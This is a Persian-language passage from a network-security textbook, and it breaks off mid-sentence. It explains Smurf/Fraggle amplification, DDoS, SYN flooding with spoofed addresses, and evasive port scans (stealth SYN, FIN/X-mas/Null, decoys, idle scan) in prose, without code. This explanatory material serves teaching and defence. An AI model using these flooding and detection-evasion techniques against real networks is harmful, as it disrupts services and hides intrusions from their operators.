‫اﯾﻦ ﺗﺸﺪﯾﺪ ﺗﺮاﻓﯿﮑﯽ ﺑﻪ ﻧﻔﻮذﮔﺮ اﯾﻦ اﻣﮑﺎن را ﻣﯽ دﻫﺪ ﮐﻪ ﺟﺮﯾﺎن ﻧﺴﺒﺘﺎ ﮐﻮﭼﮑﯽ از ﺑﺴﺘﻪ ﻫﺎی ‪ICMP Echo Request‬‬
‫را ارﺳﺎل ﮐﻨﺪ و در ﻃﺮف ﻣﻘﺎﺑﻞ‪ ،‬ﻗﺮﺑﺎﻧﯽ‪ ،‬ﺑﯿﺶ از ﺻﺪﻫﺎ ﺑﺴﺘﻪ ‪ ICMP Echo Reply‬درﯾﺎﻓﺖ ﺧﻮاﻫﺪ ﮐﺮد‪ .‬اﯾﻦ ﺣﻤﻠـﻪ را‬
‫ﻣﯿﺘﻮان ﻫﻢ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ‪ ICMP‬و ﻫﻢ ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ‪ UDP‬اﻧﺠﺎم داد ﮐﻪ ﺑﻪ ﺗﺮﺗﯿﺐ ‪ Smurf‬و ‪ Fraggle‬ﻧﺎم ﮔﺮﻓﺘﻪ اﻧﺪ‪.‬‬

‫‪ .3,5,5‬ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﺗﻮزﯾﻊ ﯾﺎﻓﺘﻪ )‪(DDoS‬‬

‫ﯾﮏ ﺣﻤﻠﻪ ‪ ،DDoS‬ﻧﺴﺨﻪ ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ ای از ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد اﺳﺖ‪ .‬ﭼﻮن ﻣﺼﺮف ﭘﻬﻨﺎی ﺑﺎﻧﺪ‪ ،‬ﻫـﺪف‬
‫ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد ﻣﯽ ﺑﺎﺷﺪ‪ ،‬ﻟﺬا ﻫﺮ ﻗـﺪر ﭘﻬﻨـﺎی ﺑﺎﻧـﺪ ﻧﻔـﻮذﮔﺮ ﺑﯿـﺸﺘﺮ ﺑﺎﺷـﺪ‪ ،‬ﺑـﻪ ﺗﺒـﻊ آن ﻣـﯽ ﺗﻮاﻧـﺪ‬
‫ﺧﺴﺎرت ﺑﯿﺸﺘﺮی را وارد ﺳﺎزد‪ .‬در ﯾﮏ ﺣﻤﻠﻪ ‪ ،DDoS‬ﻧﻔﻮذﮔﺮ اﺑﺘﺪا ﺑﻪ ﺗﻌﺪادی از ﻣﯿﺰﺑـﺎن ﻫـﺎی دﯾﮕـﺮ ﺣﻤﻠـﻪ ﮐـﺮده و‬
‫دﯾﻤﻦ ﻫﺎﯾﯽ را ﺑﺮ روی آن ﻫﺎ ﻧﺼﺐ ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ دﯾﻤﻦ ﻫﺎ ﺗﺎ زﻣﺎن اﻧﺘﺨﺎب ﯾﮏ ﻗﺮﺑﺎﻧﯽ ﺗﻮﺳﻂ ﻧﻔﻮذﮔﺮ ﻣﻨﺘﻈﺮ ﻣـﯽ ﻣﺎﻧﻨـﺪ‪.‬‬
‫ﻧﻔﻮذﮔﺮ از ﻧﻮﻋﯽ از ﺑﺮﻧﺎﻣﻪ ﮐﻨﺘﺮﻟﯽ اﺳﺘﻔﺎده ﮐﺮده و ﺗﻤﺎم اﯾﻦ دﯾﻤﻦ ﻫﺎ ﺑﻪ ﻃﻮر ﻫﻤﺰﻣـﺎن ﺣﻤﻠـﻪ را ﺑـﺎ اﺳـﺘﻔﺎده از ﻧـﻮﻋﯽ از‬
‫ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد آﻏﺎز ﻣﯽ ﮐﻨﻨﺪ‪ .‬ﻧﻪ ﺗﻨﻬﺎ اﻧﺠﺎم ﺣﻤﻠﻪ ﺑﺎ ﺗﻌﺪاد زﯾﺎدی از ﻣﯿﺰﺑﺎن ﻫﺎ‪ ،‬ﺗﺎﺛﯿﺮ ﻋﻤﻠﯿﺎت ﻓﻼد‬
‫را ﭼﻨﺪﯾﻦ ﺑﺮاﺑﺮ ﻣﯿﮑﻨﻨﺪ‪ ،‬ﺑﻠﮑﻪ ردﯾﺎﺑﯽ ﻧﻔﻮذﮔﺮ ﻧﯿﺰ ﺑﺴﯿﺎر دﺷﻮار ﻣﯽ ﮔﺮدد‪.‬‬

‫‪ .3,5,6‬ﺣﻤﻼت ‪SYN Flooding‬‬

‫ﺑﻪ ﺟﺎی ﻣﺼﺮف و ﭘﺮ ﮐﺮدن ﭘﻬﻨﺎی ﺑﺎﻧﺪ‪ ،‬ﺣﻤﻠﻪ ‪ SYN Flood‬در ﺟﻬﺖ ﺗﺤﻠﯿﻞ ﻣﻮﻗﻌﯿﺖ ﻫـﺎ در ﭘـﺸﺘﻪ ‪ TCP/IP‬ﮔـﺎم ﺑـﺮ‬
‫ﻣﯿﺪارد‪ .‬ﭼﻮن ‪ TCP‬ارﺗﺒﺎﻃﺎت را ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ‪ ،‬ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ اﯾـﻦ ارﺗﺒﺎﻃـﺎت )ﺑـﻪ ﻫﻤـﺮاه وﺿﻌﯿﺘـﺸﺎن( را ﺑﺎﯾـﺪ از‬
‫ﺟﺎﯾﯽ ردﮔﯿﺮی و دﻧﺒﺎل ﮐﺮد‪ .‬ﭘﺸﺘﻪ ‪ TCP/IP‬اﯾﻦ ﮐﺎر را اﻧﺠﺎم ﻣﯽ دﻫﺪ‪ ،‬اﻣﺎ ﺗﻌﺪاد ارﺗﺒﺎﻃﺎﺗﯽ ﮐﻪ ﯾﮏ ﭘـﺸﺘﻪ ﻣﻨﻔـﺮد ‪TCP‬‬
‫ﻣﯽ ﺗﻮاﻧﺪ دﻧﺒﺎل ﮐﻨﺪ ﻣﺤﺪود ﻫﺴﺘﻨﺪ و ‪ SYN Flood‬ﺑﺎ اﺳﺘﻔﺎده از ﻋﻤﻠﯿﺎت ‪ spoofing‬از اﯾﻦ ﻣﺤﺪودﯾﺖ ﺳﻮ اﺳﺘﻔﺎده ﻣﯽ‬
‫ﮐﻨﺪ‪.‬‬
‫ﻧﻔﻮذﮔﺮ ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ را ﺑﺎ ﺑﺴﺘﻪ ﻫﺎی ﺑﯿﺸﻤﺎری از ‪ ،SYN‬ﻓﻼد ﻣﯽ ﮐﻨﺪ‪ .‬ﭼﻮن ﺑﺴﺘﻪ ‪ SYN‬ﺑـﺮای ﺷـﺮوع ارﺗﺒـﺎط ‪TCP‬‬
‫اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ ﯾﮏ ﺑﺴﺘﻪ‪ SYN/ACK‬را ﺑﻪ آدرس ﺟﻌﻠﯽ ارﺳﺎل ﻣﯽ ﮐﻨﺪ و ﻣﻨﺘﻈﺮ‬
‫ﺑﺴﺘﻪ ‪ ACK‬ﻣﯽ ﻣﺎﻧﺪ‪ .‬ﻫﺮ ﯾﮏ از اﯾﻦ ارﺗﺒﺎﻃﺎت ﻧﯿﻤﻪ ﺑﺎز )ﮐﻪ در ﺣﺎﻟﺖ اﻧﺘﻈﺎر ﺑﻪ ﺳﺮ ﻣﯽ ﺑﺮﻧﺪ(‪ ،‬در ﯾﮏ ﺻﻒ اﻧﺒﺎﺷـﺘﻪ ﻣـﯽ‬
‫ﺷﻮﻧﺪ ﮐﻪ ﻓﻀﺎی ﻣﺤﺪودی دارد‪ .‬ﭼﻮن آدرس ﻣﻨﺒﻊ ﺟﻌﻠﯽ ﻋﻤﻼ وﺟﻮد ﺧﺎرﺟﯽ ﻧـﺪارد‪ ،‬ﻟـﺬا ﭘﺎﺳـﺦ ﻫـﺎی ‪ ACK‬ﮐـﻪ ﺑـﺮای‬
‫ﺣﺬف اﯾﻦ ‪ entry‬ﻫﺎ از اﻧﺒﺎره و ﮐﺎﻣﻞ ﮐﺮدن ارﺗﺒﺎط ﻧﯿﺎز ﻫﺴﺘﻨﺪ‪ ،‬ﻫﺮﮔﺰ ﻧﺨﻮاﻫﻨﺪ رﺳﯿﺪ‪ .‬در ﻋﻮض‪ ،‬ﺑﺮای ﺣﺬف ﻫﺮ ارﺗﺒﺎط‬
‫ﻧﯿﻤﻪ ﺑﺎز از ﺻﻒ‪ ،‬ﺑﺎﯾﺪ زﻣﺎن ﺗﻌﯿﯿﻦ ﺷﺪه ﺑﻪ ﻋﻨﻮان ‪ Time-Out‬ﺳﭙﺮی ﺷﻮد ﮐﻪ زﻣﺎن ﻧﺴﺒﺘﺎ زﯾﺎدی اﺳﺖ‪.‬‬
‫ﻣﺎداﻣﯽ ﮐﻪ ﻧﻔﻮذﮔﺮ ﺑﻪ ﻓﻼد ﮐﺮدن ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﺎ ﺑﺴﺘﻪ ﺟﻌﻠﯽ ‪ SYN‬اداﻣﻪ ﻣﯽ دﻫﺪ‪ ،‬اﻧﺒﺎره ی ﺻﻒ ﭘـﺮ ﻣـﯽ ﺷـﻮد‪ .‬اﯾـﻦ‬
‫ﻣﺴﺌﻠﻪ ﺗﻘﺮﯾﺒﺎ اﻣﮑﺎن رﺳﯿﺪن ﺑﺴﺘﻪ ﻫﺎی واﻗﻌﯽ ‪ SYN‬و ﺷﺮوع ارﺗﺒﺎط ﻫﺎی ﻣﻌﺘﺒﺮ ‪ TCP/IP‬را از ﺳﯿـﺴﺘﻢ ﻗﺮﺑـﺎﻧﯽ ﺳـﻠﺐ‬
‫ﻣﯿﮑﻨﺪ‪.‬‬

‫‪ .3,6‬ﭘﻮﯾﺶ ﭘﻮرت‬

‫ﭘﻮﯾﺶ ﭘﻮرت راﻫﯽ اﺳﺖ ﺑﺮای ﺗﺸﺨﯿﺺ ﭘﻮرت ﻫﺎﯾﯽ ﮐـﻪ در ﺣـﺎل ﺷـﻨﻮد و ﭘـﺬﯾﺮای ارﺗﺒـﺎط ﻫـﺴﺘﻨﺪ‪ .‬ﭼـﻮن ﺑـﺴﯿﺎری از‬
‫ﺳﺮوﯾﺴﻬﺎ روی ﭘﻮرت ﻫﺎی اﺳﺘﺎﻧﺪارد اﺟﺮا ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ اﻃﻼﻋﺎت ﻣﯽ ﺗﻮان ﻓﻬﻤﯿﺪ ﮐﻪ ﮐـﺪام ﺳـﺮوﯾﺲ‬
‫در ﺣﺎل اﺟﺮا اﺳﺖ‪ .‬ﺳﺎده ﺗﺮﯾﻦ ﺷﮑﻞ ﭘﻮﯾﺶ ﭘﻮرت‪ ،‬ﺗﻼش ﺑﺮای ﺑﺎز ﮐﺮدن ارﺗﺒﺎﻃﺎت ‪ TCP‬ﺑﺎ ﺗﻤـﺎم ﭘـﻮرت ﻫـﺎی ﻣﻤﮑـﻦ‬
‫روی ﺳﯿﺴﺘﻢ ﻫﺪف اﺳﺖ‪ .‬اﮔﺮﭼﻪ اﯾﻦ ﮐﺎر ﻣﻮﺛﺮ اﺳﺖ‪ ،‬اﻣﺎ ﻗﺎﺑﻞ ﺗﺸﺨﯿﺺ و ردﯾﺎﺑﯽ ﻣﯽ ﺑﺎﺷﺪ‪ .‬ﺑﻌﻼوه‪ ،‬ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ ارﺗﺒـﺎط‬

‫‪136‬‬
‫ﺑﺮﻗﺮار ﻣﯽ ﺷﻮد‪ ،‬ﺳﺮوﯾﺴﻬﺎ ﻣﻌﻤـﻮﻻ آدرس ‪ IP‬را ﻻگ ﺑـﺮداری ﻣـﯽ ﮐﻨﻨـﺪ‪ .‬ﺑـﺮای اﺟﺘﻨـﺎب از ردﯾـﺎﺑﯽ‪ ،‬ﭼﻨـﺪﯾﻦ ﺗﮑﻨﯿـﮏ‬
‫زﯾﺮﮐﺎﻧﻪ در ﭘﻮﯾﺶ ﭘﻮرت ﻣﻄﺮح ﺷﺪه اﺳﺖ ﮐﻪ ﺑﻪ ﺗﻮﺿﯿﺢ آﻧﻬﺎ ﻣﯽ ﭘﺮدازﯾﻢ‪.‬‬

‫‪ .3,6,1‬ﭘﻮﯾﺶ ‪Stealth SYN‬‬

‫ﺑﻌﻀﯽ ﻣﻮاﻗﻊ‪ ،‬ﭘﻮﯾﺶ ‪ SYN‬را ﭘﻮﯾﺶ ﻧﯿﻤﻪ‪-‬ﺑﺎز ﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ‪ ،‬زﯾﺮا در اﯾﻦ ﻋﻤﻠﯿﺎت ارﺗﺒﺎط ‪ TCP‬ﮐﺎﻣﻞ‪ ،‬ﺑﺮﻗﺮار ﻧﻤﯽ ﺷﻮد‪.‬‬
‫دﺳﺖ ﺗﮑﺎﻧﯽ ‪ TCP/IP‬را ﺑﯿﺎد آورﯾﺪ‪:‬‬
‫ﻫﻨﮕﺎﻣﯽ ﯾﮏ ارﺗﺒﺎط ﮐﺎﻣﻞ ﺑﺮﻗﺮار ﻣﯿﺸﻮد ﮐﻪ‪ :‬اﺑﺘﺪا ﯾﮏ ﺑﺴﺘﻪ ‪ SYN‬ﻓﺮﺳﺘﺎده‪ ،‬ﺳﭙﺲ ﯾﮏ ﺑﺴﺘﻪ ‪ SYN/ACK‬ﺑﺮﮔﺮداﻧﺪه‬
‫ﺷﻮد‪ .‬در ﮔﺎم ﺳﻮم ﻧﯿﺰ ﯾﮏ ﺑﺴﺘﻪ ‪ ACK‬ﺑﺮای ﺗﮑﻤﯿﻞ دﺳﺖ ﺗﮑـﺎﻧﯽ و ﺑﺮﻗـﺮاری ارﺗﺒـﺎط‪ ،‬ﺑﺎزﮔﺮداﻧـﺪه ﻣـﯽ ﺷـﻮد‪ .‬ﭘـﻮﯾﺶ‬
‫‪ SYN‬دﺳﺖ ﺗﮑﺎﻧﯽ را ﮐﺎﻣﻞ ﻧﺨﻮاﻫﺪ ﮐﺮد‪ ،‬ﻟﺬا ﻫﺮﮔﺰ ارﺗﺒﺎط ﮐﺎﻣﻞ ﺑﺮﻗﺮار ﻧﺨﻮاﻫﺪ ﮔﺸﺖ‪ .‬در ﻋﻮض‪ ،‬ﻓﻘﻂ ﺑﺴﺘﻪ ی ‪SYN‬‬
‫اوﻟﯿﻪ ارﺳﺎل و ﭘﺎﺳﺦ ﺑﺮرﺳﯽ ﻣﯽ ﮔﺮدد‪ .‬اﮔﺮ ﺑﺴﺘﻪ ‪ SYN/ACK‬ﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ درﯾﺎﻓﺖ ﺷﻮد‪ ،‬در اﯾﻦ ﺻﻮرت آن ﭘﻮرت‬
‫ﺑﺎﯾﺴﺘﯽ ﭘﺬﯾﺮای ارﺗﺒﺎط ﺑﺎﺷﺪ‪ .‬اﯾﻦ ﺣﺎﻟﺖ ﺛﺒﺖ ﺷﺪه و ﯾﮏ ﺑﺴﺘﻪ ‪ RST‬ﺑﺮای ﻓﺴﺦ ارﺗﺒﺎط ارﺳﺎل ﻣﯽ ﺷﻮد ﺗـﺎ ﺑـﺎ اﯾﻨﮑـﺎر از‬
‫ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﻧﺎﮔﻬﺎﻧﯽ ﺳﺮوﯾﺲ ﺟﻠﻮﮔﯿﺮی ﺑﻪ ﻋﻤﻞ آﯾﺪ‪.‬‬

‫‪ .3,6,2‬ﭘﻮﯾﺶ ﻫﺎی ‪ X-mas ،FIN‬و ‪Null‬‬

‫در ﻣﻘﺎﺑﻞ ﭘﻮﯾﺶ ‪ ،SYN‬اﺑﺰارﻫﺎﯾﯽ ﺑﺮای ردﯾﺎﺑﯽ و ﻻگ ﺑﺮداری ارﺗﺒﺎﻃـﺎت ﻧﯿﻤـﻪ ﺑـﺎز وﺟـﻮد دارﻧـﺪ‪ .‬ﺑﻨـﺎﺑﺮاﯾﻦ‪ ،‬ﻣﺠﻤﻮﻋـﻪ‬
‫ﺗﮑﻨﯿﮏ دﯾﮕﺮی ﺟﻬﺖ ﭘﻮﯾﺶ ﭘﻮرت ﻫﺎ ﺑﻪ ﺻﻮرت ﭘﻨﻬﺎن اﯾﺠﺎد ﺷﺪﻧﺪ‪ :‬ﭘﻮﯾﺶ ﻫـﺎی ‪ X-mas ،FIN‬و ‪ .Null‬ﺗﻤـﺎﻣﯽ اﯾـﻦ‬
‫ﺗﮑﻨﯿﮏ ﻫﺎ‪ ،‬ﺑﺎ ارﺳﺎل ﯾﮏ ﺑﺴﺘﻪ ﺑﯿﻬﻮده ﺑﻪ ﺗﻤﺎم ﭘﻮرت ﻫﺎی ﺳﯿﺴﺘﻢ ﻫﺪف راﺑﻄﻪ دارﻧﺪ‪ .‬اﮔﺮ ﭘﻮرﺗﯽ در ﺣـﺎل ﺷـﻨﻮد ﺑﺎﺷـﺪ‪،‬‬
‫اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﮐﻨﺎر ﮔﺬاﺷﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﻣﺎ اﮔﺮ ﭘﻮرت ﺑﺴﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﯾﮏ ﺑﺴﺘﻪ ‪ RST‬ﺑﺮای ﻧﻔﻮذﮔﺮ ارﺳﺎل ﻣﯽ ﺷﻮد‪ .‬ﻣﯽ ﺗـﻮان‬
‫از اﯾﻦ ﺗﻔﺎوت ﺑﺪون ﻧﯿﺎز ﺑﻪ ﺑﺎز ﮐﺮدن ارﺗﺒﺎط‪ ،‬در راﺳﺘﺎی ﺑﺮرﺳﯽ ﭘﻮرت ﻫﺎﯾﯽ ﮐﻪ ﭘﺬﯾﺮای ارﺗﺒﺎط ﻫﺴﺘﻨﺪ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫ﭘﻮﯾﺶ ‪ ،FIN‬ﯾﮏ ﺑﺴﺘﻪ ‪ FIN‬را ارﺳﺎل ﻣﯽ ﮐﻨﺪ و ﭘﻮﯾﺶ ‪ X-mas‬ﺑﺴﺘﻪ ای را ﺑﺎ ﻓﻠﮓ ﻫﺎی ‪ URG ،FIN‬و ‪ PSH‬ارﺳـﺎل‬
‫ﻣﯿﺪارد )دﻟﯿﻞ ﻧﺎم ﮔﺬاری اﯾﻦ ﺗﮑﻨﯿﮏ آن اﺳﺖ ﮐﻪ ﻓﻠﮓ ﻫﺎی ذﮐﺮ ﺷﺪه ﻣﺎﻧﻨﺪ ﯾﮏ درﺧﺖ ﮐﺮﯾﺴﻤﺲ در ﻓﯿﻠـﺪﻫﺎی ﻓﻠـﮓ‬
‫در ﺑﺴﺘﻪ ‪ IP‬ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ(‪ .‬ﭘﻮﯾﺶ ‪ Null‬ﻧﯿﺰ ﯾﮏ ﺑﺴﺘﻪ ﻓﺎﻗﺪ ﻓﻠﮓ را ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬اﮔﺮﭼﻪ‪ ،‬اﯾﻦ ﻧﻮع ﭘـﻮﯾﺶ ﻫـﺎ ﻣﺨﻔﯿﺎﻧـﻪ‬
‫ﺗﺮ ﻫﺴﺘﻨﺪ‪ ،‬اﻣﺎ ﻫﻨﻮز ﻫﻢ ﻏﯿﺮﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن اﻧﺪ‪ .‬ﺑﺮای ﻣﺜﺎل‪ ،‬ﭘﯿﺎده ﺳﺎزی ﻣﺎﮐﺮوﺳﺎﻓﺖ از ‪ ،TCP‬ﺑﺴﺘﻪ ﻫﺎی ‪ RST‬را آﻧﻄـﻮر‬
‫ﮐﻪ اﻧﺘﻈﺎر ﻣﯽ رود ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا اﯾﻦ ﺷﮑﻞ از ﺗﮑﻨﯿﮏ ﻫﺎی ﭘﻮﯾﺶ ﺑﻼ ﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد‪.‬‬

‫‪ .3,6,3‬ﺟﻌﻞ ﻃﻌﻤﻪ ﻫﺎ‬

‫روش دﯾﮕﺮ ﺑﺮای ﺟﻠﻮﮔﯿﺮی از ردﯾﺎﺑﯽ‪ ،‬ﻣﺨـــﻔﯽ ﺷﺪن در ﺑﯿﻦ ﭼﻨﺪ ﻃـﻌﻤﻪ اﺳﺖ‪ .‬اﯾﻦ ﺗﮑﻨﯿﮏ ارﺗﺒﺎﻃـﺎت را از آدرس ‪IP‬‬
‫ﻃﻌﻤﻪ ﻫﺎی ﻣﺨﺘﻠﻒ در ﻫﺮ ارﺗﺒﺎط ﺣﻘﯿﻘﯽ ﭘﻮﯾﺶ ﭘﻮرت ﺟﻌﻞ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻪ ﭘﺎﺳﺨﻬﺎی ارﺗﺒﺎﻃﺎت ﺟﻌﻠﯽ ﻧﯿﺎزی ﻧﯿـﺴﺖ‪ ،‬ﭼـﻮن‬
‫ﺗﻨﻬﺎ ﻧﻘﺶ آﻧﻬﺎ ﮔﻤﺮاه ﮐﺮدن اﺳﺖ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل‪ ،‬آدرس ﺟﻌﻠﯽِ ﻃﻌﻤﻪ ﻫﺎ‪ ،‬ﺑﺎﯾﺪ از آدرس ﻫﺎی ‪ IP‬ﺣﻘﯿﻘﯽ ﻣﺮﺑﻮط ﺑﻪ ﻣﯿﺰﺑﺎن‬
‫ﻫﺎی زﻧﺪه اﺳﺘﻔﺎده ﮐﻨﻨﺪ‪ .‬در ﻏﯿﺮاﯾﻦ ﺻﻮرت اﻣﮑﺎن آن ﻣﯽ رود ﮐﻪ ﻫﺪف ﻧﺎﮔﻬﺎ ﺗﺤﺖ ﺣﻤﻼت ‪ SYN Flood‬ﻗﺮار ﮔﯿﺮد‪.‬‬

‫‪ .3,6,4‬ﭘﻮﯾﺶ ﺑﯿﮑﺎر‬

‫ﭘﻮﯾﺶ ﺑﯿﮑﺎر )‪ ،(Idle‬راﻫﯽ اﺳﺖ ﺑﺮای ﭘﻮﯾﺶ ﻫﺪف ﮐﻪ ﺑﺎ رﻋﺎﯾﺖ روﻧﺪ ﺗﻐﯿﯿﺮات در ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر‪ ،‬از ﺑﺴﺘﻪ ﻫﺎی ﺟﻌﻠﯽ از‬
‫ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﻧﻔﻮذﮔﺮ ﺑﺎﯾﺪ ﯾـﮏ ﻣﯿﺰﺑـﺎن ﻗﺎﺑـﻞ اﺳـﺘﻔﺎده و ﺑﯿﮑـﺎر را ﺑﯿﺎﺑـﺪ ﮐـﻪ ﺗﺮاﻓﯿـﮏ دﯾﮕـﺮی را‬

‫‪137‬‬
‫درﯾﺎﻓﺖ ﯾﺎ ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ‪ .‬ﻫﻤﭽﻨﯿﻦ ﺑﺎﯾﺪ دارای ﯾﮏ ﭘﯿﺎده ﺳﺎزی ‪ TCP‬ﺑﺎﺷﺪ ﮐﻪ ﺷﻨﺎﺳﻪ ﻫـﺎی ‪ IP‬ﻗﺎﺑـﻞ ﭘﯿـﺸﮕﻮﯾﯽ را ﺑـﺎ‬
‫اﻓﺰاﯾﺶ ﻣﻌﯿﻨﯽ ﺑﻪ ازای ﻫﺮ ﺑﺴﺘﻪ ﺗﻮﻟﯿﺪ ﮐﻨﺪ‪ .‬ﺷﻨﺎﺳﻪ ﻫﺎی ‪ IP‬ﺑﺎﯾﺪ در ﻫﺮ ﺑﺴﺘﻪ و در ﻫﺮ ﻧﺸﺴﺖ ﯾﮑﺘـﺎ ﺑﺎﺷـﻨﺪ ﮐـﻪ ﻣﻌﻤـﻮﻻ‬
‫روی وﯾﻨﺪوز ﻫﺎی ‪ 95‬و ‪ 2000‬ﺑﻪ ﺗﺮﺗﯿﺐ ﺑﻪ ﺗﻌﺪاد ‪ 1‬و ‪ 254‬واﺣﺪ )ﺑﺴﺘﻪ ﺑـﻪ ﻣـﺪل ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ( اﻓـﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑﻨـﺪ‪.‬‬
‫ﺷﻨﺎﺳﻪ ﻫﺎی ‪ IP‬ﻗﺎﺑﻞ ﭘﯿﺸﮕﻮﯾﯽ ﺗﺎ ﮐﻨﻮن ﻫﺮﮔﺰ رﯾﺴﮏ اﻣﻨﯿﺘﯽ ﻣﺤﺴﻮب ﻧﺸﺪه اﻧﺪ و ﺗﮑﻨﯿﮏ ﭘـﻮﯾﺶ ﺑﯿﮑـﺎر از اﯾـﻦ ﺗـﺼﻮر‬
‫ﻏﻠﻂ ﺳﻮ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪.‬‬
‫اﺑﺘﺪا ﻧﻔﻮذﮔﺮ ﺷﻨﺎﺳﻪ ‪ IP‬ﻓﻌﻠﯽ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر را ﺑﺎ ﺗﻤﺎس ﺑﺎ آن ﺑﺪﺳﺖ ﻣﯽ آورد‪ .‬اﯾﻦ ﮐﺎر ﺑﺎ ارﺳﺎل ﯾـﮏ ﺑـﺴﺘﻪ درﺧﻮاﺳـﺖ‬
‫ﻧﺸﺪه ‪ SYN‬ﯾﺎ ‪ SYN/ACK‬و ﻣﺸﺎﻫﺪه ﺷﻨﺎﺳﻪ ‪ IP‬در ﭘﺎﺳﺦ ارﺳﺎل ﺷﺪه اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬ﺑﺎ ﭼﻨﺪ ﺑﺎر ﺗﮑﺮار اﯾﻦ روﻧﺪ‪ ،‬ﻣﯽ‬
‫ﺗﻮان ﻣﻘﺪار اﻓﺰاﯾﺸﯽ را ﮐﻪ ﺷﻨﺎﺳﻪ ‪ IP‬ﺑﻪ ازای ﻫﺮ ﺑﺴﺘﻪ ﺗﻐﯿﯿﺮ ﻣﯽ ﮐﻨﺪ ﺗﻌﯿﯿﻦ ﮐﺮد‪ .‬آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﯾﮏ ﺑـﺴﺘﻪ ﺟﻌـﻞ ﺷـﺪه‬
‫‪ SYN‬ﺣﺎوی آدرس ‪ IP‬ﻣﯿﺰﺑﺎن را ﺑﻪ ﭘﻮرﺗﯽ روی ﺳﯿﺴﺘﻢ ﻫﺪف ﻣﯽ ﻓﺮﺳﺘﺪ‪ .‬ﺑﺴﺘﻪ ﺑﻪ در ﺣﺎل ﺷﻨﻮد ﺑﻮدن ﯾـﺎ ﻧﺒـﻮدن آن‬
‫ﭘﻮرت‪ ،‬دو ﺣﺎﻟﺖ رخ ﻣﯽ دﻫﺪ‪:‬‬
‫اﮔﺮ ﭘﻮرت در ﺣﺎل ﺷﻨﻮد ﺑﺎﺷﺪ‪ ،‬ﯾﮏ ﺑﺴﺘﻪ ‪ SYN/ACK‬ﺑﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺳﺎل ﻣﯽ ﺷﻮد‪ .‬اﻣﺎ ﭼﻮن ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر در ﻋﻤﻞ‬
‫ﺑﺴﺘﻪ ‪ SYN‬اوﻟﯿﻪ را ارﺳﺎل ﻧﮑﺮده ﺑﻮد‪ ،‬ﻟﺬا اﯾﻦ ﭘﺎﺳﺦ ﺑﺮای ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ﻏﯿﺮ ﻗﺎﺑﻞ درﺧﻮاﺳﺖ ﺑﻮده و آﻧﺮا ﺑﺎ ارﺳﺎل ﯾـﮏ‬
‫ﺑﺴﺘﻪ ‪ RST‬ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ‪.‬‬
‫اﮔﺮ ﭘﻮرت در ﺣﺎل ﺷﻨﻮد ﻧﺒﺎﺷﺪ‪ ،‬ﻣﺎﺷﯿﻦ ﻫﺪف‪ ،‬ﯾﮏ ﺑﺴﺘﻪ‪ RST‬را ﺑﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺳﺎل ﻣﯽ ﮐﻨﺪ اﯾـﻦ ﺑـﺴﺘﻪ اﺣﺘﯿـﺎج ﺑـﻪ‬
‫ﭘﺎﺳﺦ ﻧﺪارد‪.‬‬
‫در اﯾﻦ ﻟﺤﻈﻪ ﻧﻔﻮذﮔﺮ ﺑﺮای ﺗﻌﯿﯿﻦ ﻣﻘﺪار اﻓﺰاﯾﺶ ﺷﻨﺎﺳﻪ ‪ ،IP‬ﻣﺠﺪدا ﺑﺎ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺗﺒﺎط ﺑﺮﻗﺮار ﻣﯽ ﺳﺎزد‪ .‬اﮔﺮ ﺷﻨﺎﺳﻪ‬
